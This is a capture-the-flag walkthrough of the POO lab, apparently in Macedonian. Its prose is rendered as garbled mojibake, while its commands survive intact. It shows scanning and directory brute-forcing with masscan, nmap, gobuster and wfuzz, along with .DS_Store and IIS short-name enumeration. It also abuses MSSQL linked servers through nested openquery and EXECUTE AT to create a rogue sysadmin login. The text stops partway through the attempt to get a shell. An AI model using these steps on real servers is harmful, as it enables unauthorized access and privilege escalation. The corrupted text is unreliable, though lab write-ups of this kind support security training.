ΠΠΎ ΠΎΠ²Π°Π° ΡΡΠ°ΡΠΈΡΠ°, ΡΠ΅ Π³ΠΎ Π°Π½Π°Π»ΠΈΠ·ΠΈΡΠ°ΠΌΠ΅ ΠΏΡΠ΅ΠΌΠΈΠ½ΠΎΡ Π½Π΅ ΡΠ°ΠΌΠΎ Π½Π° ΠΌΠ°ΡΠΈΠ½Π°, ΡΡΠΊΡ ΠΈ Π½Π° ΡΠ΅Π»Π° ΠΌΠΈΠ½ΠΈ-Π»Π°Π±ΠΎΡΠ°ΡΠΎΡΠΈΡΠ° ΠΎΠ΄ ΡΡΡΠ°Π½ΠΈΡΠ°ΡΠ°
ΠΠ°ΠΊΠΎ ΡΡΠΎ Π΅ Π½Π°Π²Π΅Π΄Π΅Π½ΠΎ Π²ΠΎ ΠΎΠΏΠΈΡΠΎΡ, POO Π΅ Π΄ΠΈΠ·Π°ΡΠ½ΠΈΡΠ°Π½ Π΄Π° Π³ΠΈ ΡΠ΅ΡΡΠΈΡΠ° Π²Π΅ΡΡΠΈΠ½ΠΈΡΠ΅ Π²ΠΎ ΡΠΈΡΠ΅ ΡΠ°Π·ΠΈ Π½Π° Π½Π°ΠΏΠ°Π΄ΠΈ Π²ΠΎ ΠΌΠ°Π»Π° ΡΡΠ΅Π΄ΠΈΠ½Π° Active Directory. Π¦Π΅Π»ΡΠ° Π΅ Π΄Π° ΡΠ΅ ΠΊΠΎΠΌΠΏΡΠΎΠΌΠΈΡΠΈΡΠ° Π΄ΠΎΡΡΠ°ΠΏΠ΅Π½ Ρ ΠΎΡΡ, Π΄Π° ΡΠ΅ Π·Π³ΠΎΠ»Π΅ΠΌΠ°Ρ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈΡΠ΅ ΠΈ Π½Π° ΠΊΡΠ°ΡΠΎΡ Π΄Π° ΡΠ΅ ΠΊΠΎΠΌΠΏΡΠΎΠΌΠΈΡΠΈΡΠ° ΡΠ΅Π»ΠΈΠΎΡ Π΄ΠΎΠΌΠ΅Π½ ΡΠΎ ΡΠΎΠ±ΠΈΡΠ°ΡΠ΅ 5 Π·Π½Π°ΠΌΠ΅Π½ΡΠ° Π²ΠΎ ΠΏΡΠΎΡΠ΅ΡΠΎΡ.
ΠΠΎΠ²ΡΠ·ΡΠ²Π°ΡΠ΅ΡΠΎ ΡΠΎ Π»Π°Π±ΠΎΡΠ°ΡΠΎΡΠΈΡΠ°ΡΠ° Π΅ ΠΏΡΠ΅ΠΊΡ VPN. Π‘Π΅ ΠΏΡΠ΅ΠΏΠΎΡΠ°ΡΡΠ²Π° Π΄Π° Π½Π΅ ΡΠ΅ ΠΏΠΎΠ²ΡΠ·ΡΠ²Π°ΡΠ΅ ΠΎΠ΄ ΡΠ°Π±ΠΎΡΠ΅Π½ ΠΊΠΎΠΌΠΏΡΡΡΠ΅Ρ ΠΈΠ»ΠΈ ΠΎΠ΄ Π΄ΠΎΠΌΠ°ΡΠΈΠ½ ΠΊΠ°Π΄Π΅ ΡΡΠΎ ΠΈΠΌΠ° Π²Π°ΠΆΠ½ΠΈ ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ Π·Π° Π²Π°Ρ, Π±ΠΈΠ΄Π΅ΡΡΠΈ Π²Π»Π΅Π³ΡΠ²Π°ΡΠ΅ Π²ΠΎ ΠΏΡΠΈΠ²Π°ΡΠ½Π° ΠΌΡΠ΅ΠΆΠ° ΡΠΎ Π»ΡΡΠ΅ ΠΊΠΎΠΈ Π·Π½Π°Π°Ρ Π½Π΅ΡΡΠΎ Π·Π° Π±Π΅Π·Π±Π΅Π΄Π½ΠΎΡΡΠ° Π½Π° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈΡΠ΅ π
ΠΎΡΠ³Π°Π½ΠΈΠ·Π°ΡΠΈΡΠΊΠΈ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ
ΠΠ° Π΄Π° ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° Π΄ΠΎΠ·Π½Π°Π΅ΡΠ΅ Π·Π° Π½ΠΎΠ²ΠΈ ΡΡΠ°ΡΠΈΠΈ, ΡΠΎΡΡΠ²Π΅Ρ ΠΈ Π΄ΡΡΠ³ΠΈ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ, ΡΠΎΠ·Π΄Π°Π΄ΠΎΠ²
Π‘ΠΈΡΠ΅ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ ΡΠ΅ Π΄Π°Π΄Π΅Π½ΠΈ ΡΠ°ΠΌΠΎ Π·Π° Π΅Π΄ΡΠΊΠ°ΡΠΈΠ²Π½ΠΈ ΡΠ΅Π»ΠΈ. ΠΠ²ΡΠΎΡΠΎΡ Π½Π° ΠΎΠ²ΠΎΡ Π΄ΠΎΠΊΡΠΌΠ΅Π½Ρ Π½Π΅ ΠΏΡΠ΅Π·Π΅ΠΌΠ° Π½ΠΈΠΊΠ°ΠΊΠ²Π° ΠΎΠ΄Π³ΠΎΠ²ΠΎΡΠ½ΠΎΡΡ Π·Π° ΠΊΠ°ΠΊΠ²Π° Π±ΠΈΠ»ΠΎ ΡΡΠ΅ΡΠ° ΠΏΡΠ΅Π΄ΠΈΠ·Π²ΠΈΠΊΠ°Π½Π° Π½Π΅ΠΊΠΎΠΌΡ ΠΊΠ°ΠΊΠΎ ΡΠ΅Π·ΡΠ»ΡΠ°Ρ Π½Π° ΠΊΠΎΡΠΈΡΡΠ΅ΡΠ΅ Π½Π° Π·Π½Π°Π΅ΡΠ΅ΡΠΎ ΠΈ ΠΌΠ΅ΡΠΎΠ΄ΠΈΡΠ΅ Π΄ΠΎΠ±ΠΈΠ΅Π½ΠΈ ΠΊΠ°ΠΊΠΎ ΡΠ΅Π·ΡΠ»ΡΠ°Ρ Π½Π° ΠΏΡΠΎΡΡΡΠ²Π°ΡΠ΅ΡΠΎ Π½Π° ΠΎΠ²ΠΎΡ Π΄ΠΎΠΊΡΠΌΠ΅Π½Ρ.
ΠΠΎΠ²Π΅Π΄
ΠΠ²Π°Π° ΠΊΡΠ°ΡΠ½Π° ΠΈΠ³ΡΠ° ΡΠ΅ ΡΠΎΡΡΠΎΠΈ ΠΎΠ΄ Π΄Π²Π΅ ΠΌΠ°ΡΠΈΠ½ΠΈ ΠΈ ΡΠΎΠ΄ΡΠΆΠΈ 5 Π·Π½Π°ΠΌΠΈΡΠ°.
ΠΠ°Π΄Π΅Π½ Π΅ ΠΈ ΠΎΠΏΠΈΡΠΎΡ ΠΈ Π°Π΄ΡΠ΅ΡΠ°ΡΠ° Π½Π° Π΄ΠΎΡΡΠ°ΠΏΠ½ΠΈΠΎΡ Ρ
ΠΎΡΡ.
ΠΠ° Π·Π°ΠΏΠΎΡΠ½Π΅ΠΌΠ΅!
Recon Π·Π½Π°ΠΌΠ΅
ΠΠ²Π°Π° ΠΌΠ°ΡΠΈΠ½Π° ΠΈΠΌΠ° IP Π°Π΄ΡΠ΅ΡΠ° ΠΎΠ΄ 10.13.38.11 ΠΊΠΎΡΠ° ΡΠ° Π΄ΠΎΠ΄Π°Π²Π°ΠΌ Π²ΠΎ /etc/hosts.
10.13.38.11 poo.htb
ΠΡΠ²ΠΈΠΎΡ ΡΠ΅ΠΊΠΎΡ Π΅ Π΄Π° Π³ΠΈ ΡΠΊΠ΅Π½ΠΈΡΠ°ΡΠ΅ ΠΎΡΠ²ΠΎΡΠ΅Π½ΠΈΡΠ΅ ΠΏΠΎΡΡΠΈ. ΠΠΈΠ΄Π΅ΡΡΠΈ Π΅ ΠΏΠΎΡΡΠ΅Π±Π½ΠΎ Π΄ΠΎΠ»Π³ΠΎ Π²ΡΠ΅ΠΌΠ΅ Π΄Π° ΡΠ΅ ΡΠΊΠ΅Π½ΠΈΡΠ°Π°Ρ ΡΠΈΡΠ΅ ΠΏΠΎΡΡΠΈ ΡΠΎ nmap, ΠΏΡΠ²ΠΎ ΡΠ΅ Π³ΠΎ Π½Π°ΠΏΡΠ°Π²Π°ΠΌ ΡΠΎ Mascan. ΠΠΈ ΡΠΊΠ΅Π½ΠΈΡΠ°ΠΌΠ΅ ΡΠΈΡΠ΅ TCP ΠΈ UDP ΠΏΠΎΡΡΠΈ ΠΎΠ΄ ΠΈΠ½ΡΠ΅ΡΡΠ΅ΡΡΠΎΡ tun0 ΡΠΎ Π±ΡΠ·ΠΈΠ½Π° ΠΎΠ΄ 500 pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Π‘Π΅Π³Π°, Π·Π° Π΄Π° Π΄ΠΎΠ±ΠΈΠ΅ΡΠ΅ ΠΏΠΎΠ΄Π΅ΡΠ°Π»Π½ΠΈ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ Π·Π° ΡΡΠ»ΡΠ³ΠΈΡΠ΅ ΡΡΠΎ ΡΠ°Π±ΠΎΡΠ°Ρ Π½Π° ΠΏΡΠΈΡΡΠ°Π½ΠΈΡΡΠ°ΡΠ°, Π°ΡΠ΄Π΅ Π΄Π° ΠΈΠ·Π²ΡΡΠΈΠΌΠ΅ ΡΠΊΠ΅Π½ΠΈΡΠ°ΡΠ΅ ΡΠΎ ΠΎΠΏΡΠΈΡΠ°ΡΠ° -A.
nmap -A poo.htb -p80,1433
Π’Π°ΠΊΠ°, ΠΈΠΌΠ°ΠΌΠ΅ ΡΡΠ»ΡΠ³ΠΈ IIS ΠΈ MSSQL. ΠΠΎ ΠΎΠ²ΠΎΡ ΡΠ»ΡΡΠ°Ρ, ΡΠ΅ Π³ΠΎ Π΄ΠΎΠ·Π½Π°Π΅ΠΌΠ΅ Π²ΠΈΡΡΠΈΠ½ΡΠΊΠΎΡΠΎ ΠΈΠΌΠ΅ Π½Π° DNS Π½Π° Π΄ΠΎΠΌΠ΅Π½ΠΎΡ ΠΈ ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΠΎΡ. ΠΠ° Π²Π΅Π±-ΡΠ΅ΡΠ²Π΅ΡΠΎΡ Π½Γ¨ ΠΏΡΠ΅ΡΠ΅ΠΊΡΠ²Π° ΠΏΠΎΡΠ΅ΡΠ½Π°ΡΠ° ΡΡΡΠ°Π½ΠΈΡΠ° Π½Π° IIS.
ΠΡΠ΄Π΅ Π΄Π° Π³ΠΈ ΠΏΠΎΠ²ΡΠΎΡΠΈΠΌΠ΅ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΈΡΠ΅. ΠΠ°Ρ ΠΊΠΎΡΠΈΡΡΠ°ΠΌ Π³ΠΎΠ±Π°ΡΡΠ΅Ρ Π·Π° ΠΎΠ²Π°. ΠΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΈΡΠ΅ Π³ΠΎ ΠΎΠ΄ΡΠ΅Π΄ΡΠ²Π°ΠΌΠ΅ Π±ΡΠΎΡΠΎΡ Π½Π° ΡΡΡΡΠΈ 128 (-t), URL (-u), ΡΠ΅ΡΠ½ΠΈΠΊ (-w) ΠΈ Π΅ΠΊΡΡΠ΅Π½Π·ΠΈΠΈ ΡΡΠΎ Π½Γ¨ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠΈΡΠ°Π°Ρ (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Π’Π°ΠΊΠ°, ΠΈΠΌΠ°ΠΌΠ΅ HTTP Π°Π²ΡΠ΅Π½ΡΠΈΠΊΠ°ΡΠΈΡΠ° Π·Π° Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΎΡ /admin, ΠΊΠ°ΠΊΠΎ ΠΈ Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ° Π·Π° ΡΠΊΠ»Π°Π΄ΠΈΡΠ°ΡΠ΅ Π½Π° Π΄Π΅ΡΠΊΡΠΎΠΏ ΡΡΠ»ΡΠ³Π°ΡΠ° .DS_Store Π΄ΠΎΡΡΠ°ΠΏΠ½Π°. .DS_Store ΡΠ΅ Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈ ΡΡΠΎ Π³ΠΈ ΡΠΊΠ»Π°Π΄ΠΈΡΠ°Π°Ρ ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΊΠΈΡΠ΅ ΠΏΠΎΡΡΠ°Π²ΠΊΠΈ Π·Π° ΠΏΠ°ΠΏΠΊΠ°, ΠΊΠ°ΠΊΠΎ ΡΡΠΎ ΡΠ΅ ΡΠΏΠΈΡΠΎΠΊ Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈ, Π»ΠΎΠΊΠ°ΡΠΈΡΠ° Π½Π° ΠΈΠΊΠΎΠ½Π°ΡΠ°, ΠΈΠ·Π±ΡΠ°Π½Π° ΡΠ»ΠΈΠΊΠ° Π·Π° Π·Π°Π΄Π½ΠΈΠ½Π°. Π’Π°ΠΊΠ²Π°ΡΠ° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ° ΠΌΠΎΠΆΠ΅ Π΄Π° Π·Π°Π²ΡΡΠΈ Π²ΠΎ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΎΡ Π½Π° Π²Π΅Π±-ΡΠ΅ΡΠ²Π΅ΡΠΎΡ Π½Π° Π²Π΅Π±-ΠΏΡΠΎΠ³ΡΠ°ΠΌΠ΅ΡΠΈΡΠ΅. Π’Π°ΠΊΠ°, Π΄ΠΎΠ±ΠΈΠ²Π°ΠΌΠ΅ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ Π·Π° ΡΠΎΠ΄ΡΠΆΠΈΠ½Π°ΡΠ° Π½Π° Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΎΡ. ΠΠ° ΠΎΠ²Π° ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° ΠΊΠΎΡΠΈΡΡΠΈΡΠ΅
python3 dsstore_crawler.py -i http://poo.htb/
ΠΠ° Π΄ΠΎΠ±ΠΈΠ²Π°ΠΌΠ΅ ΡΠΎΠ΄ΡΠΆΠΈΠ½Π°ΡΠ° Π½Π° Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΎΡ. ΠΠ²Π΄Π΅ Π½Π°ΡΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½ΠΎ Π΅ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΎΡ /dev, ΠΎΠ΄ ΠΊΠΎΡ ΠΌΠΎΠΆΠ΅ΠΌΠ΅ Π΄Π° Π³ΠΈ Π²ΠΈΠ΄ΠΈΠΌΠ΅ ΠΈΠ·Π²ΠΎΡΠΈΡΠ΅ ΠΈ Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈΡΠ΅ db Π²ΠΎ Π΄Π²Π΅ Π³ΡΠ°Π½ΠΊΠΈ. ΠΠΎ, ΠΌΠΎΠΆΠ΅ΠΌΠ΅ Π΄Π° Π³ΠΈ ΠΊΠΎΡΠΈΡΡΠΈΠΌΠ΅ ΠΏΡΠ²ΠΈΡΠ΅ 6 Π·Π½Π°ΡΠΈ ΠΎΠ΄ ΠΈΠΌΠΈΡΠ°ΡΠ° Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈΡΠ΅ ΠΈ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΈΡΠ΅ Π°ΠΊΠΎ ΡΡΠ»ΡΠ³Π°ΡΠ° Π΅ ΡΠ°Π½Π»ΠΈΠ²Π° Π½Π° IIS ShortName. ΠΠΎΠΆΠ΅ΡΠ΅ Π΄Π° ΡΠ° ΠΏΡΠΎΠ²Π΅ΡΠΈΡΠ΅ ΠΎΠ²Π°Π° ΡΠ°Π½Π»ΠΈΠ²ΠΎΡΡ ΠΊΠΎΡΠΈΡΡΠ΅ΡΡΠΈ
Π Π½Π°ΠΎΡΠ°ΠΌΠ΅ Π΅Π΄Π½Π° ΡΠ΅ΠΊΡΡΡΠ°Π»Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ° ΡΡΠΎ Π·Π°ΠΏΠΎΡΠ½ΡΠ²Π° ΡΠΎ βpoo_coβ. ΠΠ΅ Π·Π½Π°Π΅ΡΡΠΈ ΡΡΠΎ Π΄Π° ΠΏΡΠ°Π²Π°ΠΌ ΡΠ»Π΅Π΄Π½ΠΎ, Π΅Π΄Π½ΠΎΡΡΠ°Π²Π½ΠΎ Π³ΠΈ ΠΈΠ·Π±ΡΠ°Π² ΠΎΠ΄ ΡΠ΅ΡΠ½ΠΈΠΊΠΎΡ Π½Π° Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΈ ΡΠΈΡΠ΅ Π·Π±ΠΎΡΠΎΠ²ΠΈ ΡΡΠΎ ΠΏΠΎΡΠ½ΡΠ²Π°Π°Ρ ΡΠΎ βΠΊΠΎβ.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Π ΠΏΠΎΠ²ΡΠΎΡΡΠ²Π°ΡΡΠ΅ ΡΠΎ wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Π ΠΏΡΠΎΠ½Π°ΡΠ΄Π΅ΡΠ΅ Π³ΠΎ Π²ΠΈΡΡΠΈΠ½ΡΠΊΠΈΠΎΡ Π·Π±ΠΎΡ! ΠΠ° Π³Π»Π΅Π΄Π°ΠΌΠ΅ ΠΎΠ²Π°Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°, Π³ΠΈ Π·Π°ΡΡΠ²ΡΠ²Π°ΠΌΠ΅ ΠΈΠ½Π³Π΅ΡΠ΅Π½ΡΠΈΠΈΡΠ΅ (ΡΡΠ΄Π΅ΡΡΠΈ ΡΠΏΠΎΡΠ΅Π΄ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΠ°ΡΠΎΡ DBNAME, ΡΠΈΠ΅ ΡΠ΅ ΠΎΠ΄ MSSQL).
ΠΠΎ ΠΏΡΠ΅Π΄Π°Π²Π°ΠΌΠ΅ Π·Π½Π°ΠΌΠ΅ΡΠΎ, Π° Π½Π°ΠΏΡΠ΅Π΄ΡΠ²Π°ΠΌΠ΅ Π·Π° 20%.
ΠΡ Π° Π·Π½Π°ΠΌΠ΅
Π‘Π΅ ΠΏΠΎΠ²ΡΠ·ΡΠ²Π°ΠΌΠ΅ ΡΠΎ MSSQL, ΡΠ°Ρ ΠΊΠΎΡΠΈΡΡΠ°ΠΌ DBeaver.
ΠΠ΅ Π½Π°ΠΎΡΠ°ΠΌΠ΅ Π½ΠΈΡΡΠΎ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½ΠΎ Π²ΠΎ ΠΎΠ²Π°Π° Π±Π°Π·Π° Π½Π° ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ, Π°ΡΠ΄Π΅ Π΄Π° ΡΠΎΠ·Π΄Π°Π΄Π΅ΠΌΠ΅ SQL Editor ΠΈ Π΄Π° ΠΏΡΠΎΠ²Π΅ΡΠΈΠΌΠ΅ ΠΊΠΎΠΈ ΡΠ΅ ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΈ.
SELECT name FROM master..syslogins;
ΠΠΌΠ°ΠΌΠ΅ Π΄Π²Π°ΡΡΠ° ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΈ. ΠΡΠ΄Π΅ Π΄Π° Π³ΠΈ ΠΏΡΠΎΠ²Π΅ΡΠΈΠΌΠ΅ Π½Π°ΡΠΈΡΠ΅ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Π’Π°ΠΊΠ°, Π½Π΅ΠΌΠ° ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ. ΠΡΠ΄Π΅ Π΄Π° Π³ΠΈ Π²ΠΈΠ΄ΠΈΠΌΠ΅ ΠΏΠΎΠ²ΡΠ·Π°Π½ΠΈΡΠ΅ ΡΠ΅ΡΠ²Π΅ΡΠΈ, Π½Π°ΠΏΠΈΡΠ°Π² Π·Π° ΠΎΠ²Π°Π° ΡΠ΅Ρ
Π½ΠΈΠΊΠ° Π΄Π΅ΡΠ°Π»Π½ΠΎ
SELECT * FROM master..sysservers;
Π’Π°ΠΊΠ°, Π½Π°ΠΎΡΠ°ΠΌΠ΅ Π΄ΡΡΠ³ SQL Server. ΠΡΠ΄Π΅ Π΄Π° Π³ΠΎ ΠΏΡΠΎΠ²Π΅ΡΠΈΠΌΠ΅ ΠΈΠ·Π²ΡΡΡΠ²Π°ΡΠ΅ΡΠΎ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈΡΠ΅ Π½Π° ΠΎΠ²ΠΎΡ ΡΠ΅ΡΠ²Π΅Ρ ΠΊΠΎΡΠΈΡΡΠ΅ΡΡΠΈ openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Π ΠΌΠΎΠΆΠ΅ΠΌΠ΅ Π΄ΡΡΠΈ ΠΈ Π΄Π° ΠΈΠ·Π³ΡΠ°Π΄ΠΈΠΌΠ΅ Π΄ΡΠ²ΠΎ Π·Π° ΠΏΡΠ΅Π±Π°ΡΡΠ²Π°ΡΠ΅.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Π€Π°ΠΊΡ Π΅ Π΄Π΅ΠΊΠ° ΠΊΠΎΠ³Π° ΠΏΡΠ°Π²ΠΈΠΌΠ΅ Π±Π°ΡΠ°ΡΠ΅ Π΄ΠΎ ΠΏΠΎΠ²ΡΠ·Π°Π½ ΡΠ΅ΡΠ²Π΅Ρ, Π±Π°ΡΠ°ΡΠ΅ΡΠΎ ΡΠ΅ ΠΈΠ·Π²ΡΡΡΠ²Π° Π²ΠΎ ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡ Π½Π° Π΄ΡΡΠ³ ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊ! ΠΡΠ΄Π΅ Π΄Π° Π²ΠΈΠ΄ΠΈΠΌΠ΅ ΠΊΠ°ΠΊΠΎΠ² ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΊΠΈ ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡ ΡΠ°Π±ΠΎΡΠΈΠΌΠ΅ Π½Π° ΠΏΠΎΠ²ΡΠ·Π°Π½ΠΈΠΎΡ ΡΠ΅ΡΠ²Π΅Ρ.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Π ΡΠ΅Π³Π° Π΄Π° Π²ΠΈΠ΄ΠΈΠΌΠ΅ Π²ΠΎ ΠΊΠΎΡ ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡ ΡΠ΅ ΠΈΠ·Π²ΡΡΡΠ²Π° Π±Π°ΡΠ°ΡΠ΅ΡΠΎ ΠΎΠ΄ ΠΏΠΎΠ²ΡΠ·Π°Π½ΠΈΠΎΡ ΡΠ΅ΡΠ²Π΅Ρ Π΄ΠΎ Π½Π°ΡΠΈΠΎΡ!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Π’Π°ΠΊΠ°, ΡΠΎΠ° Π΅ DBO ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡ ΠΊΠΎΡ ΠΌΠΎΡΠ° Π΄Π° Π³ΠΈ ΠΈΠΌΠ° ΡΠΈΡΠ΅ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ. ΠΡΠ΄Π΅ Π΄Π° Π³ΠΈ ΠΏΡΠΎΠ²Π΅ΡΠΈΠΌΠ΅ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈΡΠ΅ Π²ΠΎ ΡΠ»ΡΡΠ°Ρ Π½Π° Π±Π°ΡΠ°ΡΠ΅ ΠΎΠ΄ ΠΏΠΎΠ²ΡΠ·Π°Π½ ΡΠ΅ΡΠ²Π΅Ρ.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
ΠΠ°ΠΊΠΎ ΡΡΠΎ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° Π²ΠΈΠ΄ΠΈΡΠ΅, Π½ΠΈΠ΅ Π³ΠΈ ΠΈΠΌΠ°ΠΌΠ΅ ΡΠΈΡΠ΅ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ! ΠΡΠ΄Π΅ Π΄Π° Π³ΠΎ ΡΠΎΠ·Π΄Π°Π΄Π΅ΠΌΠ΅ Π½Π°ΡΠΈΠΎΡ Π°Π΄ΠΌΠΈΠ½ Π²Π°ΠΊΠ°. ΠΠΎ, ΡΠΈΠ΅ Π½Π΅ Π³ΠΈ ΠΏΡΡΡΠ°Π°Ρ ΠΏΡΠ΅ΠΊΡ openquery, Π°ΡΠ΄Π΅ Π΄Π° Π³ΠΎ Π½Π°ΠΏΡΠ°Π²ΠΈΠΌΠ΅ ΡΠΎΠ° ΠΏΡΠ΅ΠΊΡ EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Π ΡΠ΅Π³Π° ΡΠ΅ ΠΏΠΎΠ²ΡΠ·ΡΠ²Π°ΠΌΠ΅ ΡΠΎ ΠΈΠ½Π³Π΅ΡΠ΅Π½ΡΠΈΠΈΡΠ΅ Π½Π° Π½ΠΎΠ²ΠΈΠΎΡ ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊ, ΡΠ° Π½Π°Π±ΡΡΠ΄ΡΠ²Π°ΠΌΠ΅ Π½ΠΎΠ²Π°ΡΠ° Π±Π°Π·Π° Π½Π° ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ ΡΠΎ Π·Π½Π°ΠΌΠ΅Π½ΡΠ΅.
ΠΠΎ ΠΏΡΠ΅Π΄Π°Π²Π°ΠΌΠ΅ ΠΎΠ²Π° Π·Π½Π°ΠΌΠ΅ ΠΈ ΠΎΠ΄ΠΈΠΌΠ΅ ΠΏΠΎΠ½Π°ΡΠ°ΠΌΡ.
ΠΠ½Π°ΠΌΠ΅ Π·Π° Π½Π°Π·Π°Π΄
ΠΡΠ΄Π΅ Π΄Π° ΡΠ° Π΄ΠΎΠ±ΠΈΠ΅ΠΌΠ΅ ΡΠΊΠΎΠ»ΠΊΠ°ΡΠ° ΠΊΠΎΡΠΈΡΡΠ΅ΡΡΠΈ MSSQL, ΡΠ°Ρ ΠΊΠΎΡΠΈΡΡΠ°ΠΌ mssqlclient ΠΎΠ΄ ΠΏΠ°ΠΊΠ΅ΡΠΎΡ impacket.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Π’ΡΠ΅Π±Π° Π΄Π° Π΄ΠΎΠ±ΠΈΠ΅ΠΌΠ΅ Π»ΠΎΠ·ΠΈΠ½ΠΊΠΈ, Π° ΠΏΡΠ²ΠΎΡΠΎ Π½Π΅ΡΡΠΎ ΡΡΠΎ Π²Π΅ΡΠ΅ Π³ΠΎ Π·Π°ΠΏΠΎΠ·Π½Π°Π²ΠΌΠ΅ Π΅ ΡΡΡΠ°Π½ΠΈΡΠ°ΡΠ°. Π’Π°ΠΊΠ°, Π½ΠΈ ΡΡΠ΅Π±Π° ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡΠ° Π½Π° Π²Π΅Π±-ΡΠ΅ΡΠ²Π΅Ρ (Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π΅ Π΄Π° ΡΠ΅ ΡΡΠ»ΠΈ ΠΏΡΠΈΠ³ΠΎΠ΄Π½Π° ΡΠΊΠΎΠ»ΠΊΠ°, ΠΎΡΠΈΠ³Π»Π΅Π΄Π½ΠΎ Π·Π°ΡΡΠΈΡΠ½ΠΈΠΎΡ ΡΠΈΠ΄ ΡΠ°Π±ΠΎΡΠΈ).
